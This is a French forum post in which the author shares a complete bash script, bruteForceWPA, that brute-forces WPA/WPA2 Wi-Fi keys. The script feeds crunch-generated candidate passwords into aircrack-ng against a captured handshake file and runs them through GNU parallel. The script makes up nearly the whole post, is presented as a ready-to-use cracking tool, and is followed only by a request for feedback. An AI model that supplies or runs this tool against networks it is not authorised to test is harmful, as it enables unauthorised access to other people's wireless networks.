Salut, je suis Rodrigue Daniel
Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel(version 3). En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :
Vos critiques, vos suggestions seront la bienvenue...
MERCI
Je partage avec vous mon script bash, permettant de faire le crack par force brute sur les clés WPA(ou WPA2) pour un réseau WIFI.
Mon script fait la combinaison de trois programmes : crunch, aircrack-ng, parallel(version 3). En effet une fois que l'on a récupéré le fichier issu du challenge entre un client légitime et le point d'accès ciblé, alors l'on peut utiliser ce script pour lancer une attaque par force brute pour casser une clé WPA(ou WPA2). Voici mon script :
Code:
#!/bin/bash # # bruteForceWPA : Script de crack WIFI des clés WPA/WPA2 # Rodrigue Daniel (email : [email protected]) # Mon blog : rodriguedaniel.blogspot.com # 16/08/2015 # Dépendances : crunch, aircrack-ng, parallel (version 3) # Testé sur Ubuntu et Kali Linux set -u ########################################################################################### # Definitions des variables mini="" # variable contenant la longueur minimale des mots de passe maxi="" # variable contenant la longueur maximale des mots de passe ensCarac="" # variable contenant l'ensemble des caractères à utiler numEnsCarac="" # variable contenant le numero de l'ensemble des caractères à utiliser fichierCap="" # variable contenant le fichier .cap à craquer chaineEssid="" # variable contenant la chaîne essid du point d'accès WIFI option="" # variable contenant les options optionSeul="" # variable spécifiant le traitement unique de l'option -h ou --help comSyntOpt="" # variable spécifiant que la combinaison des options a et m est interdite versionParallel="" # variable contenant la version du programme parallel # Ensemble des caractères à utiliser format1='1 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]' format2='2 -> [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]' format3='3 -> [[email protected]#$%^&*()-_+= ]' format41='4 -> [[email protected]#$%^&*()-_+=~[]{}|\:;"' format42="'" format43='<>,.?/ ]' ########################################################################################### # Debut du script version="0.2" clear echo -e "\e[00;31m###########################################################\e[00m" echo -e "\e[00;31m# #\e[00m" echo -e "\e[00;31m# bruteForceWPA : crack wifi (WPA/WPA2) #\e[00m" echo -e "\e[00;31m# #\e[00m" echo -e "\e[00;31m###########################################################\e[00m" # Vérification du mode root if [[ $EUID -ne 0 ]]; then echo -e "\n Erreur : Ce programme doit être éxécuté en root.\n" exit 1 fi # Vérification de la présence du programme crunch which crunch >/dev/null if [ $? -eq 1 ]; then echo -e "\n Erreur : Impossible de trouver le programme crunch, installez-le et rééssayez.\n" exit 1 fi # Vérification de la présence du programme aircrack-ng which aircrack-ng >/dev/null if [ $? -eq 1 ]; then echo -e "\n Erreur : Impossible de trouver le programme aircrack-ng, installez-le et réessayez.\n" exit 1 fi # Vérification de la présence du programme parallel et de sa bonne version which parallel >/dev/null if [ $? -ne 0 ]; then echo -e "\n Erreur : Impossible de trouver le programme parallel, installez-le et réessayez.\n" exit 1 else versionParallel=$(parallel --will-cite --version 2> /dev/null | grep version | cut -d " " -f 6) if [ $versionParallel -lt 3 ]; then echo -e "\n Erreur : Installez une version >= 3 du programme parallel.\n" exit 1 fi fi while getopts ":a:c:f:g:hm:p:-:" option ; do if [ "$option" = "-" ] ; then case $OPTARG in help ) option=h ;; #max ) option=g ;; #min ) option=p ;; * ) echo "$(basename $0): Option inconnue $OPTARG" echo -e "Essayer '$0 --help' pour plus d'information.\n" option="" ;; esac fi case $option in h ) echo -e "\nVersion $(basename $0) $version - (C) 2015" echo -e "Auteur: Rodrigue Daniel (email : [email protected]) \n" echo "Syntaxe : $0 [option...]" echo -e "\nOptions :" echo " -a <chiffre> : Numéro de l'ensemble des caractères ci-dessous à utiliser (par défaut -> 1)." echo "" echo -ne "\t" echo $format1 echo -ne "\t" echo $format2 echo -ne "\t" echo $format3 echo -ne "\t" echo -n $format41 echo -n $format42 echo $format43 echo -e "\t (Par défaut l'option -a est pris en compte)" echo -e "\n -c <essid> : Nom essid du point d'accès WIFI (Option Obligatoire)." echo " -f <chaine> : Nom du fichier d'extension '.cap' à craquer (Option Obligatoire)." echo " -m <chaine> : Ensemble des caractères à saisir manuellement. Ne pas utiliser avec '-a' ." echo " -g <entier> : Longueur maximun des mots de passe (par défaut -> 15)." echo " -h, --help : Cet écran d'aide." echo -e " -p <entier> : Longueur minimun des mots de passe (par défaut -> 5).\n" optionSeul="o" exit 1 ;; a ) if [ "$optionSeul" != "o" ] ; then if [ "$comSyntOpt" = "m" ] ; then echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 else numEnsCarac=$OPTARG case $numEnsCarac in 1 ) ensCarac="mixalpha-space";; 2 ) ensCarac="mixalpha-numeric-space";; 3 ) ensCarac="mixalpha-numeric-symbol14-space";; 4 ) ensCarac="mixalpha-numeric-all-space";; esac fi fi ;; c )if [ "$optionSeul" != "o" ] ; then chaineEssid=$OPTARG fi ;; f ) if [ "$optionSeul" != "o" ] ; then if [ "${OPTARG##*.}" != "cap" ] ; then echo "Nom fichier incorrect" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 else fichierCap=$OPTARG fi fi ;; g ) if [ "$optionSeul" != "o" ] ; then maxi=$OPTARG fi ;; m ) if [ "$optionSeul" != "o" ] ; then if [ "$numEnsCarac" != "" ] ; then echo "Erreur de syntaxe: '-a' ne doit pas être utilisée avec '-m'" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 else ensCarac=$OPTARG comSyntOpt="m" # m -> configuration manuelle de l'ensemble des caractères à utiliser fi fi ;; p ) if [ "$optionSeul" != "o" ] ; then mini=$OPTARG fi ;; : ) if [ "$optionSeul" != "o" ] ; then echo "Argument manquant pour l'option -$OPTARG" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 fi ;; ? ) if [ "$optionSeul" != "o" ] ; then echo "$(basename $0): Option inconnue $OPTARG" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 fi ;; esac done # Exécution du crack de la clé WPA/WPA2 i=${mini:-5} j=${maxi:-15} if [ $i -eq $j ] ; then echo "1" > /tmp/temporaire echo "$i" >> /tmp/temporaire else while [ $i -le $j ] ; do echo "$i" >> /tmp/temporaire i=$((i + 1)) done fi bruteForce () { if [ "$numEnsCarac" = "" ] ; then ( crunch $1 $1 $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1 else ( crunch $1 $1 -f charset.lst $ensCarac 2>/dev/null | aircrack-ng $fichierCap -e $chaineEssid -l resCrack -w- ) >/dev/null 2>&1 fi } if [ "$optionSeul" != "o" ] ; then if [ "$chaineEssid" = "" ] || [ "$fichierCap" = "" ] ; then echo "Les options -c et -f sont obligatoires" echo -e "Essayer '$0 --help' pour plus d'information.\n" exit 1 else export -f bruteForce export numEnsCarac export ensCarac export fichierCap export chaineEssid parallel --will-cite --bar -a /tmp/temporaire bruteForce >/dev/null # Parallélisme rm /tmp/temporaire fi fi exit 0
Vos critiques, vos suggestions seront la bienvenue...
MERCI
Commentaire